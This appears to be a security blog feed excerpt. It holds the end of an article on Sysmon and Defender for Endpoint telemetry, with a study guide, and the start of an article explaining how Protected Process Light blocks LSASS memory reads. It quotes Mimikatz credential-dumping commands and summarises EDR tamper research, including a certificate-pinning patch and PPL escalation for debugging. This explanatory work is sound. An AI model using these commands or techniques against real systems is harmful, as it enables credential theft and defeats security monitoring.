&lt;p&gt;&lt;strong&gt;See also.&lt;/strong&gt; The Sysmon driver&apos;s collection layer leans on the kernel-callback APIs documented in the &lt;a href=&quot;https://paragmali.com/blog/&quot; rel=&quot;noopener&quot;&gt;Windows process mitigations and Object Manager namespace&lt;/a&gt; articles in this series. The ETW transport bus that Sysmon publishes onto -- and that &lt;code&gt;EtwTi&lt;/code&gt; security events surface through -- is the subject of the dedicated ETW article in this series; the article goes deeper on provider GUIDs, manifests, and the eight-trace-session manifest-provider cap that bounds Sysmon&apos;s coexistence story in §10. The AMSI primary path that produces &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType = &quot;AmsiScriptDetection&quot;&lt;/code&gt; is the subject of the AMSI article; the two pipelines are siblings, not substitutes. And the Sigma rule corpus that compiles down into KQL for Defender XDR / Sentinel hunting is the same Sigma corpus that compiles into Splunk SPL and Elastic EQL -- the vendor-neutral query layer that sits above this article&apos;s KQL surface [@github-sigma].&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;sysmon-and-defender-for-endpoint-the-production-edr-telemetry-pipeline&quot; keyTerms={[
  { term: &quot;Sysmon&quot;, definition: &quot;Sysinternals tool by Russinovich and Garnier (August 2014, latest v15.2 March 2026) that uses Windows kernel callbacks plus a Filter Manager minifilter to collect 29 event types and publishes them via the Microsoft-Windows-Sysmon ETW provider to the Operational event log.&quot; },
  { term: &quot;Microsoft Defender for Endpoint (MDE)&quot;, definition: &quot;Microsoft&apos;s commercial cloud-correlated EDR. Renamed from Windows Defender ATP in September 2020. Runs as the Sense service (MsSense.exe) at Antimalware-PPL, shares the WdBoot ELAM and WdFilter minifilter substrate with Defender Antivirus, and lands events in the Advanced Hunting Kusto cluster.&quot; },
  { term: &quot;Microsoft Defender XDR&quot;, definition: &quot;The November 2023 rename of Microsoft 365 Defender. The unified portal at defender.microsoft.com that exposes Advanced Hunting on the Device* tables plus the cross-domain entity tables (AlertInfo, EmailEvents, IdentityLogonEvents, CloudAppEvents).&quot; },
  { term: &quot;Advanced Hunting&quot;, definition: &quot;The KQL-on-Device*-tables threat-hunting surface in Microsoft Defender XDR. 30 days of raw data, six core tables, the cross-domain entity table set, and a 100,000-row + 10-minute per-query quota.&quot; },
  { term: &quot;ProcessGuid&quot;, definition: &quot;Sysmon&apos;s per-process 128-bit GUID that survives PID reuse and uniquely identifies a process across its lifetime. The canonical join key for process-tree reconstruction.&quot; },
  { term: &quot;Antimalware-PPL&quot;, definition: &quot;Protected Process Light at the PROTECTED_ANTIMALWARE_LIGHT signer level. Prevents user-mode debugger attach, code injection, and OpenProcess-for-write from any caller not at an equal or higher PPL level. Gates MsSense.exe and Sysmon v15+.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early-Launch Antimalware. The Windows boot-order privilege that lets an Antimalware-EKU-signed driver (1.3.6.1.4.1.311.61.4.1) load before any non-ELAM driver and gate which non-ELAM drivers load. WdBoot.sys is ELAM; SysmonDrv.sys is not.&quot; },
  { term: &quot;DeviceProcessEvents&quot;, definition: &quot;The canonical reader-side Kusto table for MDE process-create events. ~50 columns including the InitiatingProcess* parent-process family. The MDE analogue of Sysmon EID 1.&quot; },
  { term: &quot;DeviceEvents&quot;, definition: &quot;The miscellaneous catch-all Kusto table. AMSI scan results, exploit-protection events, ASR rule fires, OpenProcess API calls, and other MDE-specific events surface here under ActionType discriminators.&quot; },
  { term: &quot;Sysmon EID 27 FileBlockExecutable&quot;, definition: &quot;Sysmon v14&apos;s (August 2022) first preventive event. The minifilter intercepts the file-handle close; if the rule matches and the content carries an MZ/PE header, Sysmon logs EID 27 and marks the file for deletion. The copy command produces no error and appears to succeed -- the file is then deleted at handle-close. Confined preventive surface; not a general-purpose application allowlist.&quot; },
  { term: &quot;sysmonconfig-mde-augment.xml&quot;, definition: &quot;Olaf Hartong&apos;s pre-generated Sysmon configuration that drops the EIDs MDE covers (1, 3, 7, 11, 12-14, 22) and keeps the EIDs MDE truncates or omits (8, 9, 10 verbose, 15, 17-18, 19-21, 23 archive). The detection-engineering-community default for MDE coexistence.&quot; },
  { term: &quot;FalconForce 2022 / CVE-2022-23278&quot;, definition: &quot;The dispositive published reverse-engineering of MsSense.exe debug techniques (dbgsrv.exe at WinTcb PPL via PPLKiller) and the disclosed cloud spoofing vulnerability patched by Microsoft on March 8 2022.&quot; },
  { term: &quot;InfoGuard Labs 2025&quot;, definition: &quot;The follow-on reverse-engineering of MDE cloud authorization. In-memory patch of CRYPT32!CertVerifyCertificateChainPolicy (mov eax,1; ret) to bypass certificate pinning, followed by disclosure of missing-authentication on /edr/commands/cnc and /senseir/v1/actions/ endpoints. MSRC classified low severity; no fix committed.&quot; }
]} questions={[
  { q: &quot;Why is calling Sysmon &apos;ETW-based&apos; only half-true?&quot;, a: &quot;ETW is Sysmon&apos;s *output* bus (Microsoft-Windows-Sysmon ETW provider feeding the user-mode service and downstream collectors), not its primary *input* source. Sysmon&apos;s driver collects via kernel callbacks: PsSetCreateProcessNotifyRoutineEx, PsSetLoadImageNotifyRoutine, PsSetCreateThreadNotifyRoutineEx, ObRegisterCallbacks(PsProcessType), CmRegisterCallbackEx, and Filter Manager minifilters (covering both ordinary file system and NPFS named pipes). Two input-side ETW-consumer exceptions exist: Microsoft-Windows-DNS-Client for EID 22 DNSEvent, and the WMI activity provider for EIDs 19-21 WmiEvent.&quot; },
  { q: &quot;Why does Hartong&apos;s sysmonconfig-mde-augment.xml exist as a community artifact rather than a Microsoft-published reference?&quot;, a: &quot;Microsoft does not publish a per-ActionType-to-per-kernel-callback cross-walk for the MDE EDR sensor. The community knows the Device* reader-side schema and the user-mode component inventory (Sense, MsSense.exe, SenseCncProxy.exe, SenseIR.exe, SenseNdr.exe), but not the kernel-callback inventory. Hartong reverse-engineered which Sysmon EIDs MDE truncates or omits and built the augment config to fill the gap.&quot; },
  { q: &quot;What architectural change does Sysmon v15 (June 2023) introduce, and what attack class does it close?&quot;, a: &quot;Sysmon v15 runs the user-mode service as PROTECTED_ANTIMALWARE_LIGHT, disallowing a wide range of user-mode interactions. The closed attack class is the SYSTEM-privilege user-mode tamper surface: sc stop, wevtutil clear of the Operational log, code injection into Sysmon.exe, ordinary debugger attach, and OpenProcess(PROCESS_TERMINATE). The residual attack surface is kernel-mode primitives, typically delivered via BYOVD.&quot; },
  { q: &quot;Where in the seven-layer pipeline does FalconForce 2022 intercept Defender for Endpoint?&quot;, a: &quot;Between layers 2 and 4. FalconForce raised dbgsrv.exe to WinTcb PPL (defeating layer 2&apos;s Antimalware-PPL protection on MsSense.exe), attached the elevated debug server to MsSense, and instrumented SspiCli!EncryptMessage to capture plaintext payloads before the TLS-with-cert-pinning transport (layer 4) ran. The plaintext capture surfaced CVE-2022-23278, which Microsoft patched March 8 2022.&quot; },
  { q: &quot;What are the four structural ceilings the EDR pipeline cannot lift?&quot;, a: &quot;(1) The pre-driver-load horizon: events before the EDR driver&apos;s DriverEntry are invisible; the ELAM boundary is the upstream bound. (2) The observation-vs-enforcement latency gap: Sysmon kernel-callback to event-log is sub-ms; MDE end-to-end to Kusto is seconds. (3) MDE schema truncation: ProcessAccess GrantedAccess masks, WMI consumer expressions, RawAccessRead, and PipeEvent are not surfaced in the Device* tables verbatim. (4) The kernel-mode adversary primitive: an attacker with a kernel write capability defeats HVCI + VBL + PPL + ELAM as a consequence of defeating the defenses themselves.&quot; },
  { q: &quot;Which Sysmon configuration is the correct starting point for a new deployment?&quot;, a: &quot;Depends on the deployment posture. For air-gapped / regulatory-no-cloud / unlicensed: NextronSystems/sysmon-config or olafhartong/sysmon-modular&apos;s default sysmonconfig.xml. For MDE-licensed environments with a detection-engineering team: olafhartong/sysmon-modular&apos;s sysmonconfig-mde-augment.xml. For MDE-licensed environments without a detection-engineering team: do not deploy Sysmon -- run MDE alone. The wrong starting point in any context is default Sysmon alongside MDE without the augment config.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>edr</category><category>sysmon</category><category>defender-for-endpoint</category><category>etw</category><category>threat-hunting</category><category>kql</category><category>detection-engineering</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Protected Process Light: When the Administrator Isn&apos;t Enough</title><link>https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/</link><guid isPermaLink="true">https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/</guid><description>How a single byte in EPROCESS encodes a signer lattice that denies SYSTEM-integrity admins the right to read LSASS -- and why every public bypass since 2018 attacks the same structural seam.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows Protected Process Light (PPL) re-asks the question of who can touch whom one level below the token model.** A single byte in `EPROCESS` packs a process&apos;s protection type, audit bit, and signer rung; the kernel&apos;s lattice check inside `NtOpenProcess` rejects memory-read attempts from below the target&apos;s rung even when the caller is SYSTEM with `SeDebugPrivilege` enabled. Every public bypass since 2018 lives in one structural class -- the kernel verifies the channel by which code enters a PPL, not the behaviour of that code once mapped -- which is why Microsoft classifies PPL as defense in depth rather than a security boundary, and why Credential Guard / `LsaIso.exe` is its necessary VBS-anchored companion.
&lt;h2&gt;1. Mimikatz on a Protected Box&lt;/h2&gt;
&lt;p&gt;A red team operator has done everything right. The shell is SYSTEM-integrity. &lt;code&gt;SeDebugPrivilege&lt;/code&gt; is enabled in the token. &lt;code&gt;whoami /priv&lt;/code&gt; shows every privilege Windows defines. The operator types &lt;code&gt;mimikatz.exe&lt;/code&gt;, then &lt;code&gt;privilege::debug&lt;/code&gt; -- &lt;em&gt;OK&lt;/em&gt;. Then &lt;code&gt;sekurlsa::logonpasswords&lt;/code&gt; -- and Mimikatz answers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory : (0x00000005) Access is denied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mechanism that just denied them is not a privilege check at all. It is not an ACL decision. It is not the integrity-level mediator. itm4n recreated exactly this failure in 2021 against a vanilla Windows install with one registry value set [@itm4n-runasppl]. The error code &lt;code&gt;0x00000005&lt;/code&gt; is &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt; -- the Win32 surface that &lt;code&gt;GetLastError&lt;/code&gt; exposes for the kernel&apos;s NTSTATUS &lt;code&gt;STATUS_ACCESS_DENIED = 0xC0000022&lt;/code&gt;. The kernel returns the NTSTATUS out of &lt;code&gt;NtOpenProcess&lt;/code&gt; before the security descriptor of &lt;code&gt;lsass.exe&lt;/code&gt; has been consulted; &lt;code&gt;RtlNtStatusToDosError&lt;/code&gt; then maps it to the Win32 &lt;code&gt;0x5&lt;/code&gt; that surfaces in &lt;code&gt;kuhl_m_sekurlsa.c&lt;/code&gt;.&lt;/p&gt;

A kernel-enforced gating model that decorates a process with a *protection level* -- a structured byte combining a type field, an audit bit, and a signer rung -- and rejects `OpenProcess` requests from callers whose protection level is below the target&apos;s, regardless of token privileges or security-descriptor ACLs.
&lt;p&gt;Picture the scenario concretely. A 2026 red-team engagement against a hardened Windows 11 24H2 endpoint. &lt;code&gt;RunAsPPL&lt;/code&gt; audit-mode is on by default after the Windows 11 22H2 rollout extended audit-default to consumer SKUs [@learn-runasppl]. A third-party EDR daemon is already running, signed at the Antimalware rung via the vendor&apos;s Microsoft Virus Initiative enrollment. The operator owns local administrator. The operator has SYSTEM. The operator holds every privilege Windows defines. They still cannot read a single byte of LSASS memory.&lt;/p&gt;
&lt;p&gt;The denial trace, walked carefully, looks like this. Mimikatz calls &lt;code&gt;OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsass_pid)&lt;/code&gt;. The Win32 thunk lands on &lt;code&gt;NtOpenProcess&lt;/code&gt;, which dispatches to the object-manager callback &lt;code&gt;PspProcessOpen&lt;/code&gt;. That callback calls &lt;code&gt;PspCheckForInvalidAccessByProtection&lt;/code&gt;, which calls &lt;code&gt;RtlTestProtectedAccess&lt;/code&gt; against the caller&apos;s &lt;code&gt;EPROCESS.Protection&lt;/code&gt; byte and the target&apos;s &lt;code&gt;EPROCESS.Protection&lt;/code&gt; byte. The lattice test fails. The kernel strips &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; from the requested mask. With the surviving limited mask, the request continues into &lt;code&gt;SeAccessCheck&lt;/code&gt;, but Mimikatz never wanted the limited mask; it wanted to read memory. The handle returned (or the failure path taken) gives Mimikatz exactly the path that produces &lt;code&gt;0x00000005&lt;/code&gt; in &lt;code&gt;kuhl_m_sekurlsa.c&lt;/code&gt;The relevant commit is &lt;code&gt;fe4e98405589e96ed6de5e05ce3c872f8108c0a0&lt;/code&gt;, cited by itm4n as the source for the exact failure path that yields &lt;code&gt;0x00000005&lt;/code&gt; [@mimikatz-sekurlsa]..&lt;/p&gt;

sequenceDiagram
    participant Mim as Mimikatz (SYSTEM, SeDebugPrivilege)
    participant K32 as kernel32 / OpenProcess
    participant NtOP as NtOpenProcess
    participant PsPO as PspProcessOpen
    participant CHK as PspCheckForInvalidAccessByProtection
    participant Lat as RtlTestProtectedAccess
    participant SAC as SeAccessCheck&lt;pre&gt;&lt;code&gt;Mim-&amp;gt;&amp;gt;K32: OpenProcess(PROCESS_VM_READ, lsass)
K32-&amp;gt;&amp;gt;NtOP: syscall NtOpenProcess
NtOP-&amp;gt;&amp;gt;PsPO: object-manager callback
PsPO-&amp;gt;&amp;gt;CHK: check caller.Protection vs target.Protection
CHK-&amp;gt;&amp;gt;Lat: lattice rule (signer rungs)
Lat--&amp;gt;&amp;gt;CHK: full mask denied
CHK--&amp;gt;&amp;gt;PsPO: strip PROCESS_VM_READ
PsPO-&amp;gt;&amp;gt;SAC: residual mask (limited only)
SAC--&amp;gt;&amp;gt;NtOP: limited handle (read denied)
NtOP--&amp;gt;&amp;gt;Mim: STATUS_ACCESS_DENIED (NTSTATUS 0xC0000022, Win32 GetLastError = 5)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If every privilege Windows defines is held by the caller, what is doing the denying? The answer is a kernel structure that the token model does not see and the security descriptor does not influence -- a byte in &lt;code&gt;EPROCESS&lt;/code&gt; named &lt;code&gt;Protection&lt;/code&gt;, mediating a lattice the access check consults &lt;em&gt;before&lt;/em&gt; it ever asks &lt;code&gt;SeAccessCheck&lt;/code&gt; about privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is not a workaround pattern. It is a new dimension. The token model is unchanged. The integrity level is unchanged. The security descriptor on &lt;code&gt;lsass.exe&lt;/code&gt; is unchanged. What changed is that the kernel now answers a question it did not ask before: &lt;em&gt;what kind of trust does the caller have to manipulate the address space of the callee?&lt;/em&gt;&lt;/p&gt;

PPL re-asks the question of who can touch whom one level below the token model.
&lt;p&gt;That mechanism has a name (Protected Process Light), an encoding (a single &lt;code&gt;UCHAR&lt;/code&gt;), and a history that does not begin where you would expect. To understand the byte, we have to understand why Microsoft built it in the first place. The next section starts where the history starts: a 2006 Microsoft whitepaper about Hollywood.&lt;/p&gt;
&lt;h2&gt;2. Historical Origins -- Vista, DRM, and the First Protected Process&lt;/h2&gt;
&lt;p&gt;The kernel mechanism that today denies admins access to LSASS was invented in 2006 to keep Hollywood happy. The cover page of Microsoft&apos;s &lt;code&gt;process_vista.doc&lt;/code&gt; whitepaper opens with a sentence almost no one quotes today:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Microsoft Windows Vista operating system introduces a new type of process known as a protected process to enhance support for Digital Rights Management functionality in Windows Vista.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The whitepaper was published November 27, 2006, two months before Vista&apos;s GA, and it is the architectural seed of the byte we will be staring at for the rest of this article [@vista-process-doc]. The motivation was not credential theft. It was HD-DVD and Blu-ray content protection. Studio licensing agreements required that even an administrator on the local machine could not read the audio device graph isolation host&apos;s memory while protected content was playing. The Protected Media Path required a kernel-enforced barrier between admin user-mode and the media pipeline.&lt;/p&gt;

The Vista-era set of components that decrypt and render high-definition video and audio content under DRM. PMP requires kernel-enforced isolation of `audiodg.exe` and a small set of related processes so that local administrators cannot dump intermediate content keys from process memory.
&lt;p&gt;The Vista design was minimal. A single bit in &lt;code&gt;EPROCESS&lt;/code&gt; marks a process as protected. At &lt;code&gt;NtCreateUserProcess&lt;/code&gt;, the kernel parses the main image&apos;s Authenticode signature and looks for a specific Microsoft EKU OID that only the PMP signing root can issue [@forshaw-2018-10]. If the EKU is present and the chain resolves to that root, the kernel flips the bit. On every subsequent &lt;code&gt;NtOpenProcess&lt;/code&gt; against that process, the kernel strips a fixed set of access rights from the mask, no matter who is asking.&lt;/p&gt;
&lt;p&gt;Alex Ionescu, then a Windows internals researcher and now CrowdStrike&apos;s Chief Technology Innovation Officer, enumerated the denials in 2007 [@ionescu-pp-bad-idea]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A typical process cannot perform operations such as the following on a protected process: Inject a thread into a protected process; Access the virtual memory of a protected process; Debug an active protected process; Duplicate a handle from a protected process; Change the quota or working set of a protected process.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Five denials. One bit. One certificate root. Ionescu&apos;s same essay, titled &quot;Why Protected Processes Are A Bad Idea,&quot; made a structural argument that aged well: putting a DRM mechanism in the kernel is a category error. The mechanism is too narrow for non-DRM use because the only certificate accepted is Microsoft&apos;s PMP signing root, and the only operations gated are the ones Hollywood cared about. Third parties cannot opt in, and Microsoft itself cannot graduate the level of trust.Ionescu&apos;s 2007 critique remains worth reading on its own merits. The argument that DRM-shaped kernel features tend to be reused for security mitigations and that this reuse changes their threat-model semantics is exactly what plays out over the next seven years [@ionescu-pp-bad-idea].&lt;/p&gt;
&lt;p&gt;The seven-year pause is its own story. Vista shipped, Vista was followed by Windows 7, and Windows 7 was followed by Windows 8 -- and through all of it, the access-check primitive that protects &lt;code&gt;audiodg.exe&lt;/code&gt; from administrators remained a DRM artefact. The primitive existed; the &lt;em&gt;graduated trust dimension&lt;/em&gt; did not. Two parallel failures pushed Microsoft toward widening the encoding.&lt;/p&gt;
&lt;p&gt;The first was Mimikatz. Benjamin Delpy&apos;s tool was first released in May 2011 and refined through 2013 [@mimikatz-wikipedia]; it made it trivial for an administrator to extract NTLM hashes and Kerberos session keys from &lt;code&gt;lsass.exe&lt;/code&gt;. The countermeasure of restricting &lt;code&gt;SeDebugPrivilege&lt;/code&gt; was useless; an attacker who has SYSTEM has every privilege. What Mimikatz exploited was a primitive gap: the kernel had no way to say &quot;lsass is protected against administrators but reachable from privileged Microsoft services.&quot;&lt;/p&gt;
&lt;p&gt;The second was Mateusz Jurczyk&apos;s CSRSS jailbreak of Windows 8 RT in 2013. Jurczyk (who writes as &lt;code&gt;j00ru&lt;/code&gt;) catalogued more than seventy Win32k system calls that the kernel guarded with the pattern &lt;code&gt;if (PsGetCurrentProcess() != gpepCsrss) return STATUS_ACCESS_DENIED;&lt;/code&gt; [@j00ru-1393]. That gating mechanism worked only as long as nobody could inject code into &lt;code&gt;csrss.exe&lt;/code&gt;. On Windows 8 RT, an attacker who could inject into &lt;code&gt;csrss.exe&lt;/code&gt; could bypass Microsoft&apos;s locked-down Surface RT shell. Ionescu later observed that &quot;In Windows 8.1 RT, this jailbreak is &apos;fixed&apos;, by virtue that code can no longer be injected into Csrss.exe for the attack&quot; [@ionescu-part2]. The fix made &lt;code&gt;csrss.exe&lt;/code&gt; a PPL at the &lt;code&gt;WinTcb&lt;/code&gt; rung, and the same machinery was generalised to &lt;code&gt;lsass.exe&lt;/code&gt; and the Antimalware tier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Mimikatz proved Microsoft needed a graduated trust dimension for &lt;code&gt;lsass.exe&lt;/code&gt;. The j00ru CSRSS jailbreak proved Microsoft needed it for &lt;code&gt;csrss.exe&lt;/code&gt; too. The same widening of the encoding answered both.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart LR
    subgraph Vista2006[Vista 2006 -- single bit]
        V1[EPROCESS protected = 0 or 1]
        V2[Certificate root: PMP only]
        V3[Access denials: hardcoded 5-tuple]
    end
    subgraph Win81[Windows 8.1 -- _PS_PROTECTION byte]
        W1[Type: 3 bits]
        W2[Audit: 1 bit]
        W3[Signer rung: 4 bits]
        W4[Certificate roots: per-EKU sub-OIDs]
        W5[Access denials: lattice over signer]
    end
    V1 --&amp;gt; W1
    V2 --&amp;gt; W4
    V3 --&amp;gt; W5

The DRM-to-credentials repurposing is not unique to PPL. The same pattern shows up in HVCI (originally a Hyper-V kernel-mode integrity feature, later repurposed for general code-integrity enforcement) and in Trustlets (originally an enterprise feature for Credential Guard, later generalised). Kernel mechanisms born in one threat model rarely stay confined to it.
&lt;p&gt;Microsoft already had the access-check primitive. What it didn&apos;t have, in 2007, was a way to ask &quot;how much trust does this process carry?&quot; The fix would not arrive until Windows 8.1 in October 2013, and when it arrived, it would fit in a single byte.&lt;/p&gt;
&lt;h2&gt;3. &lt;code&gt;_PS_PROTECTION&lt;/code&gt; -- The Single-Byte Encoding&lt;/h2&gt;
&lt;p&gt;The 8.1 fix is so compact it fits in a single byte. Ionescu&apos;s Part 1 of the &quot;Evolution of Protected Processes&quot; series, published November 22, 2013, gives the kernel structure verbatim [@ionescu-part1]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;
            UCHAR Signer : 4;
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three fields. One byte. The union with &lt;code&gt;Level:UCHAR&lt;/code&gt; exists so that two &lt;code&gt;_PS_PROTECTION&lt;/code&gt; values can be compared with a single byte load and a single byte compare. The kernel does this on every &lt;code&gt;NtOpenProcess&lt;/code&gt;. Speed matters; this is the hot path of the security model.&lt;/p&gt;

The kernel structure that encodes a process&apos;s protection state in eight bits: three bits of Type (`None`, `ProtectedLight`, `Protected`), one bit of Audit (intended as a forensic side-channel hint, although the exact runtime semantics are not enumerated in the public sources cited here), and four bits of Signer rung. Stored as `EPROCESS.Protection`.
&lt;p&gt;The Type field has three values. &lt;code&gt;PsProtectedTypeNone = 0&lt;/code&gt; marks a regular process. &lt;code&gt;PsProtectedTypeProtectedLight = 1&lt;/code&gt; marks a PPL -- the graduated path introduced in 8.1. &lt;code&gt;PsProtectedTypeProtected = 2&lt;/code&gt; marks a &quot;heavy&quot; Vista-style PP. Heavy PPs still exist; they retain the original DRM semantics where almost nothing from below the protection level may touch them. PPLs are the new general-purpose path where the &lt;em&gt;signer rung&lt;/em&gt; mediates a graduated lattice.&lt;/p&gt;
&lt;p&gt;The Audit bit is the least documented of the three fields. Ionescu Part 1 lists it as &lt;code&gt;Audit : Pos 3, 1 Bit&lt;/code&gt; with no semantic gloss; itm4n&apos;s RunAsPPL header annotates it as &lt;code&gt;// Reserved&lt;/code&gt;; Microsoft Learn enumerates CodeIntegrity events &lt;code&gt;3033&lt;/code&gt;, &lt;code&gt;3063&lt;/code&gt;, &lt;code&gt;3065&lt;/code&gt;, and &lt;code&gt;3066&lt;/code&gt;, but those are triggered by the &lt;code&gt;AuditLevel&lt;/code&gt; configuration under &lt;code&gt;Image File Execution Options\LSASS.exe&lt;/code&gt; and concern DLL-load failures, not per-process &lt;code&gt;OpenProcess&lt;/code&gt; denials [@ionescu-part1] [@itm4n-runasppl] [@learn-runasppl]. The field&apos;s name implies a forensic side-channel, and the bit-position is reserved; the precise runtime emission shape is not enumerated in the public sources cited here.&lt;/p&gt;
&lt;p&gt;The Signer field is the structurally interesting one. Ionescu&apos;s 2013 enumeration names eight values [@ionescu-part1]:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signer constant&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Used for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerNone&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Non-protected (no rung)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerAuthenticode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Generic third-party Authenticode (early PPL guests)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerCodeGen&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;.NET native runtime code generators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerAntimalware&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;EDR / AV daemons admitted via ELAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerLsa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lsass.exe&lt;/code&gt; under &lt;code&gt;RunAsPPL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerWindows&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Microsoft Windows components below TCB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerWinTcb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csrss.exe&lt;/code&gt;, &lt;code&gt;smss.exe&lt;/code&gt;, &lt;code&gt;services.exe&lt;/code&gt; -- the inbox TCB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PsProtectedSignerMax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Sentinel value (enumeration upper bound)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Ionescu&apos;s 2013 list is the authoritative &lt;em&gt;baseline&lt;/em&gt; enumeration. It is not a permanent enumeration. By 2018, James Forshaw&apos;s PowerShell tooling (&lt;code&gt;NtApiDotNet&lt;/code&gt;) was enumerating an additional &lt;code&gt;App = 8&lt;/code&gt; signer used for AppContainer / TruePlay scenarios [@forshaw-2018-10]. Newer builds of Windows extend the enumeration further. The article will name &lt;code&gt;WinTcb&lt;/code&gt; (Microsoft&apos;s documented inbox-TCB rung) and &lt;code&gt;Antimalware&lt;/code&gt; (the only non-Microsoft-admissible rung) repeatedly, because they are the load-bearing ones. The intermediate values evolve.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Adjacent to &lt;code&gt;EPROCESS.Protection&lt;/code&gt; are two related fields, &lt;code&gt;EPROCESS.SignatureLevel&lt;/code&gt; and &lt;code&gt;EPROCESS.SectionSignatureLevel&lt;/code&gt;, which Ionescu introduces in Part 3 [@ionescu-part3]. These fields encode the &lt;em&gt;binary integrity&lt;/em&gt; the kernel demands at process creation and at every subsequent section load, and they are filled in from a 16-entry Signing Level table that runs from &lt;code&gt;Unchecked = 0&lt;/code&gt; up to &lt;code&gt;Windows TCB = 14&lt;/code&gt;. The Signer rung in &lt;code&gt;Protection&lt;/code&gt; answers &quot;what kind of trust does this process hold?&quot; The SignatureLevel pair answers &quot;what binaries is this process allowed to map?&quot; They are not the same question.&lt;/p&gt;
&lt;p&gt;Now the worked decode. Given the byte value &lt;code&gt;0x41&lt;/code&gt;, the encoding falls out by hand:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Low three bits (Type): &lt;code&gt;0x41 &amp;amp; 0x07 = 0x01&lt;/code&gt; -- &lt;code&gt;PsProtectedTypeProtectedLight&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bit 3 (Audit): &lt;code&gt;(0x41 &amp;gt;&amp;gt; 3) &amp;amp; 0x01 = 0&lt;/code&gt; -- Audit off.&lt;/li&gt;
&lt;li&gt;High four bits (Signer): &lt;code&gt;(0x41 &amp;gt;&amp;gt; 4) &amp;amp; 0x0F = 0x04&lt;/code&gt; -- &lt;code&gt;PsProtectedSignerLsa&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A process with &lt;code&gt;EPROCESS.Protection = 0x41&lt;/code&gt; is a PPL signed at the &lt;code&gt;Lsa&lt;/code&gt; rung. That is exactly what &lt;code&gt;lsass.exe&lt;/code&gt; looks like on a host with &lt;code&gt;RunAsPPL = 1&lt;/code&gt;. Ionescu&apos;s blog explicitly states: &quot;it&apos;s easy to read 0x41 as Lsa (0x4) + PPL (0x1)&quot; [@ionescu-part1]. The Defender service &lt;code&gt;MsMpEng.exe&lt;/code&gt;, signed at the Antimalware rung, has &lt;code&gt;Protection = 0x31&lt;/code&gt;. The session manager &lt;code&gt;csrss.exe&lt;/code&gt;, signed at WinTcb, has &lt;code&gt;Protection = 0x61&lt;/code&gt;.&lt;/p&gt;

flowchart TD
    B[byte: 8 bits]
    B --&amp;gt; F1[bits 0..2: Type]
    B --&amp;gt; F2[bit 3: Audit]
    B --&amp;gt; F3[bits 4..7: Signer]
